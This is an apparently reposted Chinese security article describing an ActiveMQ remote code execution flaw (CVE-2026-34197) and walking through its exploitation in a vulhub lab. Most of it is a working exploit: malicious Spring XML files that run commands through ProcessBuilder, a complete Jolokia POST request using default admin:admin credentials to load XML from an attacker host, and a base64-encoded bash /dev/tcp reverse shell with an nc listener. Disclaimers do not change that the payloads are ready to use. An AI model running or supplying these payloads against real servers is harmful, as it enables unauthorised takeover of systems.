文章总结: 文档分析ApacheActiveMQ核弹级RCE漏洞CVE-2026-34197,影响5.x<5.19.4和6.0.0-6.2.3版本。漏洞原理为JolokiaJMX-HTTP桥接暴露BrokerMBean的addNetworkConnector方法,攻击者通过构造vm://传输URI触发远程SpringXML解析导致任意代码执行。文章提供环境搭建步骤、渗透测试流程及POC示例,包括命令执行和反弹shell利用方法,强调需在授权环境下测试。 综合评分: 85 文章分类: 漏洞分析,渗透测试,漏洞POC,WEB安全,安全工具
ActiveMQ 又爆核弹级 RCE(CVE-2026-34197):远程执行任意代码,一个包拿 shell,附 POC
原创
澄影安全 澄影安全
0x66安全
2026年4月30日 15:30 广东
在小说阅读器读本章
去阅读
1.Apache ActiveMQ是什么?
Apache ActiveMQ是美国阿帕奇(Apache)基金会的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
2.影响版本
- 5.x < 5.19.4
- 6.0.0 ≤ 6.x < 6.2.3
3.漏洞原理
CVE-2026-34197是Apache ActiveMQ 5.19.4版本之前以及6.0.0至6.2.3版本之前存在的一个远程代码执行漏洞。Jolokia JMX-HTTP桥接暴露了ActiveMQ自身MBeans上的操作,其中包括Broker MBean上的addNetworkConnector(String)方法。
经过认证的攻击者可以调用该操作,传入一个精心构造的vm://传输URI,其中包含指向攻击者控制的Spring XML配置文件的brokerConfig参数。当ActiveMQ处理该URI时,会获取并解析远程XML配置,从而触发Spring Bean实例化并执行任意代码。
该漏洞可以与CVE-2024-32114(ActiveMQ 6.0.0至6.1.1版本中Jolokia未授权访问)组合利用实现未授权RCE,也可以在需要API认证的版本上使用默认凭据(admin:admin)进行利用。
4.环境搭建
访问下面链接下载环境
https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2026-34197
下载完成后进入文件夹,运行
docker compose up -d或者docker-compose up -d
由于ActiveMQ 6.2.2已对Jolokia API增加了认证要求。未携带凭据发送请求将返回401 Unauthorized:
因为由于CVE-2026-34197是一个认证后的RCE漏洞,所以服务启动后,访问http://your-ip:8161即可看到ActiveMQ Web控制台,使用默认凭据admin:admin登录。
可以访问ActiveMQ Web管理控制台http://:8161/admin/index.jsp,查看页面底部的版本号
5.渗透测试
首先,在攻击机上启动一个HTTP服务器,用于托管恶意Spring XML配置文件。以下示例会在目标服务器上执行id > /tmp/success命令:
<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="exec" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[id > /tmp/success]]></value> </list> </constructor-arg> </bean></beans>
在poc.xml所在目录启动HTTP服务器:
python -m http.server 80
然后,使用默认凭据发送如下请求到Jolokia API来调用Broker MBean上的addNetworkConnector操作。
该请求创建一个使用static:发现URI的网络连接器,指向一个vm://传输,其brokerConfig参数通过Spring的xbean:资源加载引用攻击者的恶意XML。
将your-ip替换为目标ActiveMQ服务器地址,evil-ip替换为攻击者HTTP服务器地址:
POST /api/jolokia/ HTTP/1.1Host: your-ip:8161Content-Type: application/jsonAuthorization: Basic YWRtaW46YWRtaW4={"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["static:(vm://evil?brokerConfig=xbean:http://evil-ip/poc.xml)"]}
当ActiveMQ处理该网络连接器时,它会尝试连接到vm://evil代理。由于名为”evil”的代理不存在,ActiveMQ会使用brokerConfig参数来创建它。xbean:前缀告诉ActiveMQ使用Spring的ResourceXmlApplicationContext来加载配置,该机制支持HTTP URL。Spring解析远程XML并实例化所有定义的Bean——包括我们的ProcessBuilderBean,其start()初始化方法会执行操作系统命令。
Burp发送请求,成功执行命令
通过检查容器内的结果文件来验证命令已执行:
docker compose exec activemq ls -al /tmp/docker compose exec activemq cat /tmp/success
5.反弹shell POC 及渗透测试过程
获取反弹shell poc xml文件如下
<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value>echo "BASE64_ENCODED_REVERSE_SHELL" | base64 -d | bash</value> </list> </constructor-arg> </bean></beans>
BASE64_ENCODED_REVERSE_SHELL将替换为实际反弹 shell 命令的 Base64 编码。
例如,监听在10.0.0.1:4444的反弹 shell 命令为:
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
编码后为:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=
最终value内容为:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=" | base64 -d | bash
为什么使用 Base64 + echo?
为了避免 XML 或命令行中的特殊字符(如 >、&、| 等)导致解析错误。
使用说明
- 将
your-ip替换为目标 ActiveMQ 的 IP 地址和端口(默认端口为 8161)。 - 将
evil-ip替换为托管poc.xml的攻击者 HTTP 服务器地址。 - 在攻击者机器上监听反弹 Shell(例如使用
nc -lvnp 4444)。
在攻击者机器上监听反弹 shell,成功获得反弹shell
📎 获取方法
整理了一份常用工具和笔记,后台回复:资料
回复加群获取交流群
⚠️ 最后必看 – 免责声明
文章中的案例或工具仅面向合法授权的企业安全建设行为,请自行搭建靶机环境,勿用于非法行为。如用于其他用途,由使用者承担全部法律及连带责任。
本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。
如您在使用过程中存在任何非法行为,需自行承担相应后果。本工具来源于网络,若有侵权请联系删除,请勿用于商业行为!
📚 往期推荐
微信号: 关注公众号获取 | 扫码关注了解更多
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0x66安全 澄影安全 澄影安全《ActiveMQ 又爆核弹级 RCE(CVE-2026-34197):远程执行任意代码,一个包拿 shell,附 POC》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论